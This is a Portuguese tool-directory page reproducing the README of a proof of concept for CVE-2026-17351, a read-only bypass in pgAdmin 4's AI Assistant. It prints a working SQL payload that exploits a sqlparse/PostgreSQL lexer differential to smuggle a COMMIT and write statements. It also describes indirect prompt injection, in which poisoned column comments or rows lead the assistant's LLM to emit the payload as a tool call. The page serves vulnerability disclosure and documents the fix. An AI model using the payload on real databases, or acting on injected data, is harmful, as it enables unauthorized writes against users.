Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass — Prova de conceito demonstrando o bypass da injeção de SQL CVE-2026-17351 no AI Assistant do pgAdmin 4 por meio do diferencial de lexer sqlparse/PostgreSQL, incluindo a entrega de injeção indireta de prompt. | Kitploit
Ferramentas/GitHubGitHub/hunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de IASegurança de Banco de Dados
GitHubhunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

Prova de conceito demonstrando o bypass da injeção de SQL CVE-2026-17351 no AI Assistant do pgAdmin 4 por meio do diferencial de lexer sqlparse/PostgreSQL, incluindo a entrega de injeção indireta de prompt.

Ver Repositório
5há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-17351 — Bypass de Somente Leitura do Assistente de IA do pgAdmin 4 via Diferencial de Lexer

PoC para CVE-2026-17351, um bypass crítico (CVSS 9.0) de injeção de SQL no Assistente de IA do pgAdmin 4.

Resumo da Vulnerabilidade

As versões 9.13 a 9.16 do pgAdmin 4 usam a biblioteca sqlparse do Python para validar que consultas SQL geradas por LLM sejam instruções únicas e somente leitura. Com standard_conforming_strings = on do PostgreSQL (o padrão desde o PostgreSQL 9.1), o sqlparse e o PostgreSQL divergem sobre como as barras invertidas dentro de literais de string são tratadas. Isso permite que um atacante crie um payload que passa na validação do sqlparse como um único SELECT, mas que é executado como quatro instruções no PostgreSQL — incluindo um COMMIT que encerra a transação somente leitura e instruções de escrita subsequentes.

Payload

root@kitploit:~
SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --'
  • O sqlparse vê um único SELECT com um grande literal de string → a validação passa
  • O PostgreSQL vê: SELECT '\' + COMMIT + CREATE TABLE pwn(x int) + SELECT 1 --'

Entrega

O payload é entregue via injeção indireta de prompt: o atacante o insere dentro de um objeto de banco de dados (comentário de coluna, valor de linha, definição de view) que o Assistente de IA lê. Quando um usuário legítimo faz uma pergunta, o LLM lê os dados envenenados e os emite como uma chamada de ferramenta execute_sql_query.

Arquivos

ArquivoDescrição
poc.pyDemonstra o diferencial do lexer: a validação do sqlparse passa, o protocolo de consulta simples executa múltiplas instruções, o protocolo de consulta estendido as bloqueia
prompt_injection_demo.pySimula a cadeia de ataque completa: payload inserido como comentário de coluna → LLM simulado o lê → validação passa → execução

Requisitos

root@kitploit:~
pip install psycopg[binary] sqlparse

Você também precisa de uma instância PostgreSQL em execução (14+):

root@kitploit:~
docker run -d --name pg-poc \
    -e POSTGRES_PASSWORD=secret \
    -e POSTGRES_DB=testdb \
    -p 5433:5432 \
    postgres:18

Uso

root@kitploit:~
# Main PoC — lexer differential demonstration
python3 poc.py

# Prompt injection delivery demo
python3 prompt_injection_demo.py

# Custom connection parameters
python3 poc.py --host 10.0.0.5 --port 5432 --user postgres --password mypw

A Correção (pgAdmin 9.17)

A correção força o uso do protocolo de consulta estendido do psycopg3:

  1. Definindo conn.prepare_threshold = 0 na conexão dedicada do LLM
  2. Passando prepare=True para cursor.execute()

Isso torna a etapa Parse do próprio PostgreSQL a autoridade nos limites das instruções — ela rejeita estruturalmente qualquer texto com múltiplas instruções, independentemente de como um lexer do lado do cliente o classifique.

Referências

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-17351
  • Issue no GitHub: https://github.com/pgadmin-org/pgadmin4/issues/10192
  • Commit da correção: https://github.com/pgadmin-org/pgadmin4/commit/ef76102bcd1cdb544eb9b4ef18d3382f22b76752
  • CVE original (CVE-2026-12045): https://nvd.nist.gov/vuln/detail/CVE-2026-12045
  • Relator: Kai Aizen (SnailSploit)

Aviso Legal

Este PoC destina-se apenas a fins educacionais e de testes autorizados.

Baixar ferramenta